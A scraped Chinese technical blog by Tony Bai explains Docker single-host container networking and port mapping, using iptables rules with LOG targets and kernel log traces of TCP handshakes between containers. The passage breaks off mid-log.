[279750.806531] [TonyBai]-PortmapNatPreroutinIN=docker0 OUT= PHYSIN=veth44a97d7 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=31888 DF PROTO=TCP SPT=54408 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 做DNAT后，再次路由到docker0，于是走forward链，但是没有匹配上nat postrouting，也就没有做SNAT：\nJan 18 13:51:10 pc-baim kernel: [279750.806581] [TonyBai]-FwdId0Od0:IN=docker0 OUT=docker0 PHYSIN=veth44a97d7 PHYSOUT=veth0d66af2 MAC=02:42:ac:11:00:04:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=31888 DF PROTO=TCP SPT=54408 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 18 13:51:10 pc-baim kernel: [279750.806608] [TonyBai]-NatPostrouteEnterIN= OUT=docker0 PHYSIN=veth44a97d7 PHYSOUT=veth0d66af2 SRC=172.17.0.2 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=31888 DF PROTO=TCP SPT=54408 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 container3回复ack sync。宿主机从docker0收到ack sync包，目的地址172.17.0.2，再次路由到docker0。\nJan 18 13:51:10 pc-baim kernel: [279750.806719] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=veth0d66af2 MAC=02:42:ac:11:00:02:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=172.17.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=54408 WINDOW=28960 RES=0x00 ACK SYN URGP=0 Jan 18 13:51:10 pc-baim kernel: [279750.806746] [TonyBai]-FwdOd0:IN=docker0 OUT=docker0 PHYSIN=veth0d66af2 PHYSOUT=veth44a97d7 MAC=02:42:ac:11:00:02:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=172.17.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=54408 WINDOW=28960 RES=0x00 ACK SYN URGP=0 由于之前docker0上做过DNAT，因此从docker0回到172.17.0.2时，src地址会自动un-DNAT，从172.17.0.4改为10.10.126.101，不过在上面日志中看不出这一点。\n172.17.0.2回复ack，握手完成，DNAT自动进行：\nJan 18 13:51:10 pc-baim kernel: [279750.806823] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=veth44a97d7 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=31889 DF PROTO=TCP SPT=54408 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 Jan 18 13:51:10 pc-baim kernel: [279750.806852] [TonyBai]-FwdOd0:IN=docker0 OUT=docker0 PHYSIN=veth44a97d7 PHYSOUT=veth0d66af2 MAC=02:42:ac:11:00:04:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=172.17.0.4 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=31889 DF PROTO=TCP SPT=54408 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 三、网络性能考量 docker-proxy常被docker使用者诟病，一是因为每个映射端口都要启动一个docker-proxy进程，映射端口多了，大量进程被创建、被调度势必消耗大量系统资源；二来，在高负载场合，docker-proxy的转发性能也力不从心。理论上，docker-proxy代理转发流量的方式在性能方面要比单纯iptables DNAT要弱上一些。不过我在单机上通过sparkyfish测试的结果倒是二者相差不大，估计是因为我仅仅启动了一个docker-proxy，系统负荷并不大的缘故。\n","permalink":"https://tonybai.com/2016/01/18/understanding-binding-docker-container-ports-to-host/","summary":"\u003cp\u003e在”\u003ca href=\"http://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003e理解Docker单机容器网络\u003c/a\u003e“一文中，还有一个\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e容器网络的功能尚未提及，那就是Docker容器的端口映射。即将容器的服务端口P’ 绑定到宿主机的端口P上，最终达到一种效果：外部程序通过宿主机的P端口访问，就像直接访问Docker容器网络内部容器提供的服务一样。\u003c/p\u003e\n\u003cp\u003eDocker针对端口映射前后有两种方案，一种是1.7版本之前docker-proxy+iptables \u003ca href=\"http://idallen.com/dnat.txt\"\u003eDNAT\u003c/a\u003e的方式；另一种则是1.7版本(及之后)提供的完全由iptables DNAT实现的端口映射。不过在目前docker 1.9.1中，前一种方式依旧是默认方式。但是从Docker 1.7版本起，Docker提供了一个配置项：–userland-proxy，以让Docker用户决定是否启用docker-proxy，默认为true，即启用docker-proxy。本文续前文，继续探讨使用端口映射时Docker容器网络的通信流程。\u003c/p\u003e","title":"理解Docker容器端口映射"},{"content":"Docker容器是近两年最 火的IT技术之一，用“火山爆发式“来形容Docker的成 长也不为过。Docker在产品服务的devops 运维、云 计算(CaaS)、大数据以及企业内部应用等领域正在被越来越多的接受和广泛应用。Docker技术的本质在于提升计算密度和提升部署效率，高屋 建瓴的讲，它的出现符合人类社会对绿色发展的追求，降低资源消耗，提升资源的单位利用率。不过经历了两年多的发展，Docker依旧年轻，尚未成 熟，在集群调度、存储、网络、安全等方面，Docker依旧有很长的路要走。\n在一年多以前，也就是Docker发布1.0后没几个月时，我曾经学习过一段时间的Docker，主要学习Docker的概念和基本使用方法。由于当时docker 还相对“稚嫩”，在产品和项目中暂无用武之地，也就没有深入，但对Docker技术的跟踪倒是没有停下来。今年Docker 1.9发布，支持跨主机container netwoking；第三方容器集群调度和服务编织工具蓬勃发展，如Kubernetes 、mesos、 flannel以及rancher等；国内基于Docker的云服 务及产品也 如雨后春笋般发展开来。虽然不到2年，但Docker的演进速度是飞快的，要想跟的上Docker的步伐，仅仅跟踪技术信息是不够的，对伴生 Docker发展起来的一些新理念、新技术、新方案需要更深入的理解，这便是这篇文章（以及后续关于这个主题文章）编写的初衷。\n我计划从容器网络开始，我们先来看看单机容器网络。\n一、目标 Docker实质上是汇集了linux容器（各种namespaces）、cgroups以及“叠加”类文件系统等多种核心技术的一种复合技术。 其默认容器网络的建立和控制是一种结合了network namespace、iptables、linux网桥、route table等多种Linux内核技术的综合方案。理解Docker容器网络，首先是以对TCP/IP网络体系的理解为前提的，不过也不需要多深刻，大学本 科学的那套“计算机网络”足矣^_^，另外还要考虑Linux上对虚拟网络设备实现的独特性（区分于硬件网络设备）。\n本篇文章主要针对单机Docker容器网络，目的是了解Docker容器网络中容器与容器间通信、容器与宿主机间通信、容器与宿主机所在的物理网 络中主机通信、容器网络控制等机制，为后续理解跨主机容器网络的理解打下基础。同时稍带利用工具对Docker容器网络的网络性能做初步测量，通 过直观数据初步评估容器网络的适用性。\n二、试验环境以及拓扑 本文试验环境如下：\n- 宿主机 Ubuntu 12.04 x86_64 3.13.0-61-generic - 容器OS：基于Ubuntu 14.04 Server x86_64的自制image - Docker版本 - v1.9.1 for linux/amd64 为了试验方便，这里基于官方ubuntu:14.04 image制作了带有traceroute、brctl以及tcpdump等网络调试工具的image，简单起见（考虑到公司内网代理），这里就没有写 Dockerfile(即便写也很简单)，而是直接z在容器内apt-get install后，再通过docker commit基于已经安装好上述工具的container创建的一个新image：\n$sudo docker commit 0580adb079a3 dockernetworking/ubuntu:14.04 a692757cbb7bd7d8b70f393930e954cce625934485e93cf1b28c15efedb5f2d3 $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE dockernetworking/ubuntu 14.04 a692757cbb7b 5 seconds ago 302.1 MB 后续的container均是基于dockernetworking/ubuntu创建的。\n另外试验环境的拓扑图如下：\n从拓扑图中我们可以看到，物理宿主机为10.10.126.101，置于物理局域网10.10.126.0/24中。在宿主机上我们创建了两 个 Container：Container1和Container2，Container所用网段为172.17.0.0/16。\n三、Docker Daemon初始网络 当你在一个clean环境下，启动Docker daemon后，比如在Ubuntu下，使用sudo service docker start，Docker Daemon就会初始化后续创建容器时所需的基础网络设备和配置。\n以下是从宿主机的角度看到的：\n// 网桥 $ brctl show bridge name bridge id STP enabled interfaces docker0 8000.0242f9f8c9ad no // 网络设备 $ ip link show 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 2c:59:e5:01:98:28 brd ff:ff:ff:ff:ff:ff ... ... 5: docker0: \u0026lt;NO-CARRIER,BROADCAST,MULTICAST,UP\u0026gt; mtu 1500 qdisc noqueue state DOWN link/ether 02:42:f9:f8:c9:ad brd ff:ff:ff:ff:ff:ff // 网络设备ip地址 $ ip addr show 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 2c:59:e5:01:98:28 brd ff:ff:ff:ff:ff:ff inet 10.10.126.101/24 brd 10.10.126.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::2e59:e5ff:fe01:9828/64 scope link valid_lft forever preferred_lft forever ... ... 5: docker0: \u0026lt;NO-CARRIER,BROADCAST,MULTICAST,UP\u0026gt; mtu 1500 qdisc noqueue state DOWN link/ether 02:42:f9:f8:c9:ad brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 scope global docker0 valid_lft forever preferred_lft forever inet6 fe80::42:f9ff:fef8:c9ad/64 scope link valid_lft forever preferred_lft forever 可以看出，与Docker Daemon启动前相比，宿主物理机中多出来一个虚拟网络设备：docker0。\ndocker0是一个标准Linux虚拟网桥设备。在Docker默认的桥接网络工作模式中，docker0网桥起到了至关重要的作用。物理网桥 是标准的二层网络设备，一般说，标准物理网桥只有两个网口，可以将两个物理网络（区分以IP为寻址单位的逻辑网络）连接在一起。但与物理层设备集 线器等相比，网桥具备隔离冲突域的功能。网桥通过MAC地址学习和泛洪的方式实现二层相对高效的通信。在今天，标准网桥设备已经基本被淘汰了，替 代网桥的是是二层交换机。二层交换机也可以看成一个多口网桥。在不划分vlan的前提下，可以将其当做两两端口间都是独立通道的”hub”使用。\n前面说过docker0是一个标准Linux虚拟网桥设备，即一个以软件实现的网桥，由于其支持多口，实际上它算是一个虚拟交换机设备。与物理网 桥不同的是，它不但可以二层转发包，还可以将包送到用户层进行处理。在我们尚未创建container的时候，docker0以一个Linux网 络设 备的身份存在，并且Linux虚拟网桥可以配置IP，可以作为在三层网络上的一个Gateway，在主机眼中和物理网口设备eth0区别不大。与 Linux其他网络设备也可以在三层相互通信，前提是Docker Daemon打开了ip包转发功能：\n$ cat /proc/sys/net/ipv4/ip_forward 1 宿主机的路由表也增加了一条路由(见最后一条)：\n$ ip route default via 10.10.126.1 dev eth0 proto static 10.10.126.0/24 dev eth0 proto kernel scope link src 10.10.126.101 metric 1 172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 除此之外，Docker Daemon还设置了若干iptables规则以管理containers间的通信以及辅助container访问外部网络（NAT转换）：\nsudo iptables-save \u0026gt; ./iptables.init.rules # Generated by iptables-save v1.4.12 on Wed Jan 13 17:25:55 2016 *raw : PREROUTING ACCEPT [9469:2320376] :OUTPUT ACCEPT [2990:1335235] COMMIT # Completed on Wed Jan 13 17:25:55 2016 # Generated by iptables-save v1.4.12 on Wed Jan 13 17:25:55 2016 *filter :INPUT ACCEPT [1244:341290] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [483:153047] : DOCKER - [0:0] -A FORWARD -o docker0 -j DOCKER -A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT -A FORWARD -i docker0 ! -o docker0 -j ACCEPT -A FORWARD -i docker0 -o docker0 -j ACCEPT COMMIT # Completed on Wed Jan 13 17:25:55 2016 # Generated by iptables-save v1.4.12 on Wed Jan 13 17:25:55 2016 *nat : PREROUTING ACCEPT [189:88629] :INPUT ACCEPT [111:60817] :OUTPUT ACCEPT [23:1388] : POSTROUTING ACCEPT [23:1388] : DOCKER - [0:0] -A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER -A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE COMMIT # Completed on Wed Jan 13 17:25:55 2016 iptables是Linux内核自带的包过滤防火墙，支持NAT等诸多功能。iptables由表和规则chain概念组成，Docker中所 用的表包括filter表和nat表（参见上述命令输出结果），这也是iptables中最常用的两个表。iptables是一个复杂的存在，曾 有一本书《linux firewalls》 专门讲解iptables，这里先借用本书 中的一幅图来描述一下ip packets在各个表和chain之间的流转过程：\n网卡收到的数据包进入到iptables后，做路由选择，本地的包通过INPUT链送往user层应用；转发到其他网口的包通过FORWARD chain；本地产生的数据包在路由选择后，通过OUTPUT chain；最后POSTROUTING chain多用于source nat转换。\niptables在容器网络中最重要的两个功能：\n1、限制container间的通信\n2、将container到外部网络包的源地址换成宿主主机地址(MASQUERADE)\n后续还会在详细描述容器通信流程中还会掺杂说明iptables的规则在容器通信中的作用。\n四、准备工作：让iptables输出log iptables在Docker单机容器默认网络工作模式下扮演着重要的角色，并且由于是虚拟设备网络，数据的流转是十分复杂的，为了便于跟踪 iptables在docker容器网络数据通信过程中起到的作用，这里在默认iptables规则的基础上，做一些调整，在关键位置输出一些 log，以便调试和理解，这些修改不会影响iptables对数据包的匹配和操作。注意：在操作iptables前，建议通过iptables- save命令备份一份iptables的配置数据。\niptables自身就支持LOG target，日志会输出到/var/log/syslog或kern.log中。我们的目标就是在关键节点输出iptables的数据日志。考虑到日志 量较大，我们仅拦截icmp包（ping)以及tcp 源端口或目的端口为12580的数据。\n考虑到篇幅有限，这里仅给出配置后导出的iptables.final.rules，需要的同学可以通过iptables-restore \u0026lt; iptables.final.rules导入。\n# Generated by iptables-save v1.4.12 on Thu Jan 14 09:28:43 2016 *raw : PREROUTING ACCEPT [788:127290] :OUTPUT ACCEPT [574:100918] -A PREROUTING -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawPrerouting:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawPrerouting:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawOutput:\u0026quot; --log-level 7 COMMIT # Completed on Thu Jan 14 09:28:43 2016 # Generated by iptables-save v1.4.12 on Thu Jan 14 09:28:43 2016 *filter :INPUT ACCEPT [284:49631] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [81:28047] : DOCKER - [0:0] :FwdId0Od0 - [0:0] :FwdId0Ond0 - [0:0] :FwdOd0 - [0:0] -A INPUT ! -i lo -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterFilterInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterInput:\u0026quot; --log-level 7 -A FORWARD -o docker0 -j DOCKER -A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j FwdOd0 -A FORWARD -i docker0 ! -o docker0 -j FwdId0Ond0 -A FORWARD -i docker0 -o docker0 -j FwdId0Od0 -A OUTPUT ! -s 127.0.0.1/32 -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterFilterOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterOutput:\u0026quot; --log-level 7 -A FwdId0Od0 -i docker0 -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-FwdId0Od0:\u0026quot; --log-level 7 -A FwdId0Od0 -i docker0 -o docker0 -j ACCEPT -A FwdId0Ond0 -i docker0 ! -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-FwdId0Ond0:\u0026quot; --log-level 7 -A FwdId0Ond0 -i docker0 ! -o docker0 -j ACCEPT -A FwdOd0 -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j LOG --log-prefix \u0026quot;[TonyBai]-FwdOd0:\u0026quot; --log-level 7 -A FwdOd0 -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT COMMIT # Completed on Thu Jan 14 09:28:43 2016 # Generated by iptables-save v1.4.12 on Thu Jan 14 09:28:43 2016 *nat : PREROUTING ACCEPT [37:6070] :INPUT ACCEPT [20:2585] :OUTPUT ACCEPT [6:364] OSTROUTING ACCEPT [6:364] : DOCKER - [0:0] :LogNatPostRouting - [0:0] -A PREROUTING -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-Enter iptables:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPrerouting:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPrerouting:\u0026quot; --log-level 7 -A INPUT ! -i lo -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterNatInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatInput:\u0026quot; --log-level 7 -A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j LogNatPostRouting -A LogNatPostRouting -s 172.17.0.0/16 ! -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPostRouting:\u0026quot; --log-level 7 -A LogNatPostRouting -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE COMMIT # Completed on Thu Jan 14 09:28:43 2016 一切就绪，只待对docker网络的分析了。\n五、容器网络 现在我们来启动容器。根据试验环境拓扑图，我们需要创建和启动两个容器：container1和container2。\n$ docker run -it --name container1 dockernetworking/ubuntu:14.04 /bin/bash $ docker run -it --name container2 dockernetworking/ubuntu:14.04 /bin/bash $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 1104fc63c571 dockernetworking/ubuntu:14.04 \u0026quot;/bin/bash\u0026quot; 7 seconds ago Up 6 seconds container2 8b38131deb28 dockernetworking/ubuntu:14.04 \u0026quot;/bin/bash\u0026quot; 16 seconds ago Up 15 seconds container1 容器启动后，从宿主机的视角，可以看到网络配置有如下变化：\n$ brctl show bridge name bridge id STP enabled interfaces docker0 8000.0242f9f8c9ad no veth00855d7 vethee8659f $ifconfig -a ... ... veth00855d7 Link encap:以太网 硬件地址 ea:70:65:cf:28:6b inet6 地址: fe80::e870:65ff:fecf:286b/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1 接收数据包:8 错误:0 丢弃:0 过载:0 帧数:0 发送数据包:37 错误:0 丢弃:0 过载:0 载波:0 碰撞:0 发送队列长度:0 接收字节:648 (648.0 B) 发送字节:5636 (5.6 KB) vethee8659f Link encap:以太网 硬件地址 fa:30:bb:0b:1d:eb inet6 地址: fe80::f830:bbff:fe0b:1deb/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1 接收数据包:61 错误:0 丢弃:0 过载:0 帧数:0 发送数据包:82 错误:0 丢弃:0 过载:0 载波:0 碰撞:0 发送队列长度:0 接收字节:5686 (5.6 KB) 发送字节:9678 (9.6 KB) ... ... Docker Daemon创建了两个veth网络设备，并将veth挂接到docker0网桥上了。veth是一种虚拟网卡设备，创建时成对(veth pair)出现，从一个veth peer发出的数据包可以到达其pair peer。不过从上面命令输出来看，我们似乎并没有看到veth pair，这是因为每个pair的另一peer被放到container的network namespace中了，变成了container中的eth0。veth pair常用于在不同网络命名空间之间通信。在拓扑图中，container1中的eth0与veth-x是一个pair；container2中的 eth0与veth-y是另一个pair。veth-x和veth-y挂接在docker0网桥上，这对于container1和 container2来说，就好比用网线将本地网卡(eth0)与网桥设备docker0的网口连接起来一样。在docker容器网络默认桥接模式 中，veth只是在二层起作用。\n下面是从container1内部看到的网络配置：\nroot@8b38131deb28:/# ip addr 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 47: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff inet 172.17.0.2/16 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::42:acff:fe11:2/64 scope link valid_lft forever preferred_lft forever root@8b38131deb28:/# netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 0.0.0.0 172.17.0.1 0.0.0.0 UG 0 0 0 eth0 172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0 container网络配置很简单，一个eth0网卡，一个loopback口，route表里将网桥作为默认Gateway。\n至此，我们拓扑图中的环境已经全部就绪。接下来我们来探索和理解一下容器网络的几种通信流程。\n六、Docker0的“双重身份” 在正式进入每个通信流程前，我们先来点预备性内容 – 如何理解Docker0。下图中我们给出了Docker0的双重身份，并对比物理交换机，我们来理解一下Docker0这个软网桥。\n1、从容器视角，网桥（交换机）身份 docker0对于通过veth pair“插在”网桥上的container1和container2来说，首先就是一个二层的交换机的角色：泛洪、维护cam表，在二层转发数据包；同 时由于docker0自身也具有mac地址（这个与纯二层交换机不同），并且绑定了ip(这里是172.17.0.1)，因此在 container中还作为container default路由的默认Gateway而存在。\n2、从宿主机视角，网卡身份 物理交换机提供了由硬件实现的高效的背板通道，供连接在交换机上的主机高效实现二层通信；对于开启了三层协议的物理交换机而言，其ip路由的处理 也是由物理交换机管理程序提供的。对于docker0而言，其负责处理二层交换机逻辑以及三层的处理程序其实就是宿主机上的Linux内核 tcp/ip协议栈程序。而从宿主机来看，所有docker0从veth（只是个二层的存在，没有绑定ipv4地址）接收到的数据包都会被宿主机 看成从docker0这块网卡（第二个身份，绑定172.17.0.1)接收进来的数据包，尤其是在进入三层时，宿主机上的iptables就会 对docker0进来的数据包按照rules进行相应处理（通过一些内核网络设置也可以忽略docker0 brigde数据的处理）。\n在后续的Docker容器网络通信流程分析中，docker0将在这两种身份间来回切换。\n七、容器网络通信流程 考虑到大部分tcp/ip实现都是在内核实现的ping服务器，这可能会导致iptables流程走不全，影响我们的理解，因此我这里通过tcp 连接建立的握手过程(sync, ack sync, ack)的通信包来理解container网络通信。我们可以简单在服务端启动一个python httpserver: python -m SimpleHTTPServer 12580或用Go写个简单的http server来监听12580端口；客户端用telnet ip port的方式与服务端建立连接。\niptables的log我们可以在宿主机(ubuntu 12.04)的/var/log/syslog中查看到。考虑到篇幅，头两个例子会作详细说明，后续将简要阐述。\n1、container to container 场景：我们在container2(172.17.0.3)中启动监听12580的服务程序，并在container1(172.17.0.2) 中执行：telnet 172.17.0.3 12580。\n分析：\n我们首先从container1的视角去看。\n在container1中无需考虑iptables过程，可以理解为未开启。container1的用户层的数据进入该网络名字空间 (network namespace)的网络协议栈处理。在route decision过程中，协议栈处理程序发现目的地址匹配172.17.0.0/16这条网络路由，该条路由的Flag为U，即该网络为直连链路上的网 络，即无需使用Gateway，直接可以将数据包发到eth0上并封包发出去即可。\n由于可以在直连网路链路上找到目的主机，于是二层欲填写的目的mac地址为172.17.0.3这个ip对应的mac。container1在 arp缓存中查询172.17.0.3对应的mac地址。如没有发现172.17.0.3这个ip地址对应的缓存mac地址，则发起一个arp请 求，arp请求的二层目的mac地址填写为二层广播地址：bit全1的mac地址（48bit），并通过eth0发出去。\ndocker0在这个过程中二层交换机的作用。接收到来自veth上的广播arp请求后，将请求通过二层网络转发到其他docker0上的 veth口上。这时container2收到了arp请求，container2上的以太网驱动程序收到arp请求后，将其发给 container2上的arp协议处理程序(不走iptables)，arp协议处理程序封装arp reply后转出。container1收到reply后，处理二层封包，将container2的mac地址填入以太网数据帧的目的mac地址字段中， 并发出。\n上一节提到过，docker0收到container1发来的ip数据包，交由其处理程序，也就是linux内核协议栈处理程序处理，这时 docker0的身份开始转换了。\n我们现在转换到宿主机视角。\n从宿主机视角，docker0是一个mac地址为02:42:f9:f8:c9:ad，ip为172.17.0.1的网卡（网卡身份）。 container1发出的进入到docker0的包，对于host来说，就好比从docker0这块网卡设备进入到宿主机的数据包。当数据包进 入到三层时，iptables的处理规则就起了作用。我们看到在raw prerouting中的日志：\nJan 14 10:08:12 pc-baim kernel: [830038.910054] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:ac:11:00:03:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=172.17.0.3 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=24284 DF PROTO=TCP SPT=43292 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 这是第一个ip包，承载着tcp sync数据。按照iptables的数据流转，接下来的route decision发现目的地址是172.17.0.3，不是自身绑定的172.17.0.1，不用送到user层（不走input链），在host的路由 表中继续匹配路由表项，匹配到如下路由表项：172.17.0.0/16 dev docker0，于是走forward链：\nJan 14 10:08:12 pc-baim kernel: [830038.910120] [TonyBai]-FwdId0Od0:IN=docker0 OUT=docker0 PHYSIN=vethd9f6465 PHYSOUT=vethfcceafa MAC=02:42:ac:11:00:03:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=172.17.0.3 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=24284 DF PROTO=TCP SPT=43292 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 这又是一个直连网络，无需Gateway作为下一跳，于是再从docker0将数据送出。\ndocker0送出时，docker0又回到二层功能范畴。在cam表中查找mac地址02:42:ac:11:00:03对应的网口 vethfcceafa，将数据从vethfcceafa送出去。根据veth pair的描述，container2中的eth0将收到这份数据。container2发现数据包中目的地址是172.17.0.3，就是自身eth0 的地址，于是送到user层处理。\n接下来是container 3 回复ack sync的过程。与上面类似，container3通过直连网络将数据包发给docker0。从host视角看，数据包从docker0这个网卡设备进 来：\nJan 14 10:08:12 pc-baim kernel: [830038.910200] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethfcceafa MAC=02:42:ac:11:00:02:02:42:ac:11:00:03:08:00 SRC=172.17.0.3 DST=172.17.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=43292 WINDOW=28960 RES=0x00 ACK SYN URGP=0 route decision，由于目的地址不是docker0自身的目的地址，匹配路由条目：172.17.0.0/16 dev docker0，于是走forward链。这次在iptables forward链中匹配到的rules是：FwdOd0\nChain FORWARD (policy ACCEPT 0 packets, 0 bytes)\npkts bytes target prot opt in out source destination\n6 328 DOCKER all — * docker0 0.0.0.0/0 0.0.0.0/0\n5 268 FwdOd0 all — * docker0 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED\n… …\n因为这次是conn established相关的链路上回包，日志如下：\nJan 14 10:08:12 pc-baim kernel: [830038.910230] [TonyBai]-FwdOd0:IN=docker0 OUT=docker0 PHYSIN=vethfcceafa PHYSOUT=vethd9f6465 MAC=02:42:ac:11:00:02:02:42:ac:11:00:03:08:00 SRC=172.17.0.3 DST=172.17.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=43292 WINDOW=28960 RES=0x00 ACK SYN URGP=0 于是ack sync再从docker0送出。docker0送出时封装包时回到二层功能范畴。在cam表中查找mac地址02:42:ac:11:00:02对应的 网口vethd9f6465，将数据从vethd9f6465送出去。根据veth pair的描述，container1中的eth0将收到这份数据包。container1发现数据包中目的地址是172.17.0.2，就是自身 eth0的地址，于是送到user层处理。\ncontainer1接下来的回送ack过程与sync过程类似，这里就不赘述了。\n2、container to docker0 场景：我在container1(172.17.0.2)中执行：telnet 172.17.0.1 12580。docker0所在宿主机上并没有程序在监听12580端口，因此这个tcp连接是无法建立起来的。sync过去后，对方返回ack rst，而不是ack sync。\n分析：\n我们首先从container1的视角去看。\ncontainer1向172.17.0.1建立连接，在路由decision后，发现目标主机在直连网络中，于是将对方mac地址封装到二层协 议帧中后通过eth0将包转出。docker0收到包后，送到宿主机网络协议栈，也就是docker0的管理程序去处理。\n切换到宿主机视角。宿主机从网卡docker0获取数据包，宿主机网络协议栈处理数据包，进入iptables中：\nJan 14 12:53:02 pc-baim kernel: [839935.434253] 